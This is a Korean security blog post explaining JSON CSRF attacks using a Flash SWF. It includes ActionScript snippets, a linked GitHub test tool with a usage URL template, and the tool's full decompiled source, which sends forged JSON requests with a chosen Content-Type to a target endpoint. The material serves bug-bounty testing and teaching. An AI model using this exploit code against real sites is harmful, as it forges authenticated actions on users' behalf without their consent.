Attack a JSON CSRF with SWF(ActionScript를 이용한 JSON CSRF 공격코드 구현)

좀 오래된(?) 기법이지만 오늘 페북 버그바운티 포럼쪽에 글 중 JSON CSRF 글 보다보니 예전에 정리해둘까 했던 내용 생각나서 글로 작성합니다. (그와중에 300$받았다고 꺠알 자랑…)

간간히 CSRF 우회 케이스도 글로 쓰고 있는데, XSS Cheatsheet 처럼 모아둬야곘네요.

JSON CSRF가 잘 안되는 이유?

전에 글에서도 약간 이야기하긴했느데, JSON 요청의 경우 일반 전송 포맷에 비해 약간 까다로움이 발생합니다. 우선 <form> 등의 태그로는 JSON 형태를 구현할 수 없고, Jquey나 XML Reuqest를 쓰자니 SOP에 의해 제어되기 때문에 단순한 웹 전송 코드로는 CSRF가 되질 않습니다.

그래서 보통 Content-Type 가지고 Padding으로 풀어서 코드 구성하여 권고하고 했었습니다.

JSON CSRF with SWF

SWF를 통해서 Content-type이 Application/Javascript(즉 JSON 전송) 요청을 만드는걸 이용해서 JSON 형태의 요청에 대해서도 CSRF를 할 수 있습니다. 다만 타 도메인간 SWF 호출을 위해선 crossdomain.xml 정책에 대해서 패스가 필요하겠지요.

예전에 PUT/DELETE 쪽 CSRF 이야기할땐 그냥 Method를 바꿀 수 있어서 가능하다 였었는데, 생각해보니 Content-Type과 전송 형식을 제어할 수 있기 때문에(JSON 포맷으로 맞춰주면..) 가능해집니다.

request.requestHeaders.push(new URLRequestHeader("Content-Type", ct));
request.data = (this.root.loaderInfo.parameters.reqmethod=="GET")?"":myJson;
request.method = (this.root.loaderInfo.parameters.reqmethod)?this.root.loaderInfo.parameters.reqmethod:URLRequestMethod.POST;
var urlLoader: URLLoader = new URLLoader();
urlLoader.addEventListener(Event.COMPLETE, eventHandler);

이런식으로 그냥 urlLoader로 전송하면 되고, 대신 Content-Type만 제어해주면 됩니다.

Test tool

한번 코드 짜두고 개인 웹 서버에 올려두고 불러와서 사용하는 형태로 구성하고 테스트하면 됩니다. 다만 찾다보니 관련해서 테스트 환경을 좀 쉽게 만들자(?) 라는 느낌의 git repo가 있어 공유드립니다.

https://github.com/sp1d3r/swf_json_csrf 동일하게 단순한 Request 코드를 가지고 JSON 포맷으로 전달만 해줍니다.

http[s]://[yourhost-and-path]/test.swf?jsonData=[yourJSON]&php_url=http[s]://[yourhost-and-path]/test.php&endpoint=http[s]://[targethost-and-endpoint]
loder

package
{
   import flash.display.Sprite;
   import flash.events.Event;
   import flash.external.ExternalInterface;
   import flash.net.URLLoader;
   import flash.net.URLRequest;
   import flash.net.URLRequestHeader;
   
   public class source extends Sprite
   {
       
      
      public function source()
      {
         var _loc3_:* = null;
         super();
         var _loc6_:String = this.root.loaderInfo.parameters.jsonData;
         var _loc4_:String = this.root.loaderInfo.parameters.endpoint;
         var _loc1_:String = !!this.root.loaderInfo.parameters.php_url?this.root.loaderInfo.parameters.php_url:"";
         var _loc7_:String = _loc1_ != ""?_loc1_:_loc4_;
         var _loc2_:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";
         if(_loc1_ != "")
         {
            _loc3_ = new URLRequest(_loc7_ + "?endpoint=" + _loc4_);
         }
         else
         {
            _loc3_ = new URLRequest(_loc7_);
         }
         _loc3_.requestHeaders.push(new URLRequestHeader("Content-Type",_loc2_));
         _loc3_.data = this.root.loaderInfo.parameters.reqmethod == "GET"?"":_loc6_;
         _loc3_.method = !!this.root.loaderInfo.parameters.reqmethod?this.root.loaderInfo.parameters.reqmethod:"POST";
         var _loc5_:URLLoader = new URLLoader();
         _loc5_.addEventListener("complete",eventHandler);
         try
         {
            _loc5_.load(_loc3_);
            return;
         }
         catch(e:Error)
         {
            trace(e);
            return;
         }
      }
      
      public function eventHandler(param1:Event) : void
      {
         ExternalInterface.call("process",param1.target.data);
      }
   }
}